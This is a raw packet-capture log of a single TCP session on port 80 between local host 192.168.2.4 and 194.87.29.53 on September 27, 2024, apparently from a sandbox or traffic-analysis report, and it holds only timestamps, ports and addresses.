Sep 27, 2024 18:29:08.731364012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.731380939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.731380939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731403112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731406927 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.731415033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731426954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731434107 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.731437922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731451988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731460094 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.731463909 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731476068 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731484890 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.731487036 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731498957 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.731498957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731512070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731515884 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.731523991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731535912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.731544018 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.731565952 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.731575966 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.731998920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.732012987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.732023954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.732043982 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.732064009 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.070291042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070314884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070327044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070338011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070348978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070359945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070372105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070384026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070472002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070483923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070486069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.070486069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.070486069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.070497036 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070508957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070513964 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.070543051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070545912 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.070557117 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070568085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070580006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070588112 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.070595026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070610046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070620060 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.070641041 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.070666075 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.070841074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070852995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.070894957 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071012020 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071023941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071034908 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071048021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071058989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071064949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071075916 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071077108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071089029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071099997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071106911 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071110964 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071124077 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071129084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071135998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071146965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071156025 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071160078 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071166992 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071172953 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071182966 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071183920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071206093 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071227074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071547031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071557999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071568966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071579933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071589947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071595907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071597099 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071607113 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071608067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071634054 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071655035 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071722031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071732998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071743011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071753979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071763992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071774006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071775913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071793079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071800947 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071805000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071809053 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071819067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071830034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071830988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071841955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071852922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071856976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071865082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071877003 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071886063 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071887016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071898937 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071902990 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071908951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071919918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071928024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.071964979 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.071964979 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.072391987 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.072577000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072588921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072599888 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072609901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072622061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072632074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.072633982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072654009 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072663069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.072664976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072676897 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072679043 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.072690010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072700024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072701931 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.072711945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072722912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072729111 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.072736025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072746992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072748899 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.072757959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072768927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072772980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.072781086 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072791100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.072792053 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072804928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072813034 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.072817087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072828054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072837114 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.072840929 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072851896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072858095 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.072864056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072875023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.072880030 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.072886944 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.072913885 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.073529959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073543072 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073553085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073563099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073573112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073576927 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.073585033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073595047 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073596001 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.073606014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073610067 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.073617935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073636055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073637009 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.073647976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073658943 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073661089 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.073669910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073682070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073688030 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.073694944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073705912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073718071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073718071 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.073729038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073739052 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073740959 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.073753119 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.073753119 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073766947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073767900 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.073779106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073790073 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073796988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.073801994 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073812962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073821068 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.073824883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.073841095 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.073858023 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.073879004 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.074533939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074546099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074556112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074567080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074577093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074587107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074589968 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.074596882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074614048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074619055 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.074619055 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.074628115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074639082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074640036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.074651003 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074651003 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.074662924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074673891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074677944 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.074685097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074697018 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074706078 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074711084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.074717999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074719906 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.074733019 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074743986 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074748993 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.074755907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074767113 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074769974 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.074779034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074784994 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.074790001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074801922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074809074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.074811935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074824095 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074835062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.074835062 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.074851036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.074872971 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.075520039 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075531006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075541019 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075551033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075561047 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075576067 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.075581074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075587988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.075592041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075598955 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.075603962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075615883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075620890 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.075627089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075638056 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.075639009 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075650930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075661898 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075670958 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.075671911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075685024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075690985 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.075696945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075706959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075711012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.075719118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075723886 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.075731993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075742960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075750113 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.075753927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075764894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075777054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075779915 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.075788975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075798988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.075800896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075812101 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.075815916 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.075836897 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.075866938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.076292038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076342106 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.076538086 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076549053 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076559067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076570034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076581001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076591015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076594114 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.076601982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076612949 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076617956 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.076625109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076633930 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.076637983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076648951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076651096 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.076659918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076670885 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076682091 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076683998 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.076694012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076705933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076709986 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.076719046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076728106 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.076749086 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.076764107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076773882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076785088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076792955 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.076816082 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.076833963 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.076951027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076962948 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076973915 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076984882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.076997042 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077023029 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077101946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077112913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077137947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077146053 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077150106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077162981 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077171087 CEST	60865	80	192.168.2.4	194.87.29.53
